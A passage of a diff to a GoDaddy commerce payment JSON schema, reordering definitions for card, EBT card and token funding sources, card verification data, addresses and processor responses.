"https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } + }, + "title": "Card Processing Instruction", + "type": "object" + } + }, + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "properties": { - "amountType": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true } - } + }, + "title": "Card Entry Detail", + "type": "object" }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" } + }, + "required": [ + "interacMac", + "interacMacKSN" ], + "title": "Interac Mac", "type": "object" }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } + "properties": { + "city": { + "description": "City", + "type": "string" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { "type": "string" } }, "required": [ - "processorType" - ] + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "notes": { + "cardPin": { + "description": "Card pin block.", "type": "string", - "maxLength": 512, - "description": "Notes about transaction" + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "required": [ - "amount", - "createdAt" - ] + "title": "Card VerificationData", + "type": "object" + }, + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" } + }, + "required": [ + "cardDetail", + "cardType" ], - "x-generic-type": "Transaction", - "description": "Represents refund transaction against a payment", - "properties": { - "alternateFundingSource": { - "description": "Alternate funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Funding Source", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Card", - "type": "object", - "properties": { - "cardDetail": { - "description": "Card detail", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true + "city": { + "description": "City", + "type": "string" }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "country": { + "description": "Country", + "type": "string" }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "line1": { + "description": "Address line 1", + "type": "string" }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, "required": [ - "interacMac", - "interacMacKSN" - ] + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { "cardPin": { - "type": "string", "description": "Card pin block.", + "type": "string", "writeOnly": true }, "cardPinKeySerialNumber": { - "type": "string", "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", "writeOnly": true }, - "cvSkipReason": { + "cvData": { + "description": "CVV information typically at the back of the card.", "type": "string", - "description": "CVV skipped because of this reason.", "writeOnly": true }, - "cvData": { + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "description": "CVV information typically at the back of the card.", "writeOnly": true }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, "line1": { - "type": "string", - "description": "Address line 1" + "description": "Address line 1", + "type": "string" }, "line2": { - "type": "string", - "description": "Address line 2" + "description": "Address line 2", + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "postalCode": { + "description": "Postal Code", + "type": "string" }, "territory": { - "type": "string", - "description": "Territory" + "description": "Territory", + "type": "string" }, "territoryType": { - "type": "string", + "description": "Territory type", "enum": [ "STATE", "PROVINCE", "OTHER" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "type": "string" } }, "required": [ @@ -17581,277 +9715,105 @@ "territoryType", "country", "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" + ], + "title": "Address", + "type": "object" } - } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" } }, "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Godaddy Payment token", + "type": "string", + "writeOnly": true + } + }, + "required": [ + "token" + ], + "title": "GoDaddy PaymentToken", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" }, - "cardVerificationData": { + "propertyName": "type" + }, + "oneOf": [ + { "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, "line1": { - "type": "string", - "description": "Address line 1" + "description": "Address line 1", + "type": "string" }, "line2": { - "type": "string", - "description": "Address line 2" + "description": "Address line 2", + "type": "string" }, - "city": { - "type": "string", - "description": "City" + "postalCode": { + "description": "Postal Code", + "type": "string" }, "territory": { - "type": "string", - "description": "Territory" + "description": "Territory", + "type": "string" }, "territoryType": { - "type": "string", + "description": "Territory type", "enum": [ "STATE", "PROVINCE", "OTHER" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "type": "string" } }, "required": [ @@ -17861,11633 +9823,13551 @@ "territoryType", "country", "postalCode" - ] + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true }, "threeDSecureData": { "description": "3d secure data information", - "writeOnly": true, - "type": "object", "properties": { - "eci": { + "cryptogram": { "type": "string" }, - "cryptogram": { + "eci": { "type": "string" } - } + }, + "type": "object", + "writeOnly": true } - } - }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" + }, + "title": "Card VerificationData", + "type": "object" }, - "eVoucherApprovalCode": { - "type": "string" - } - }, - "required": [ - "cardDetail", - "cardType" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": 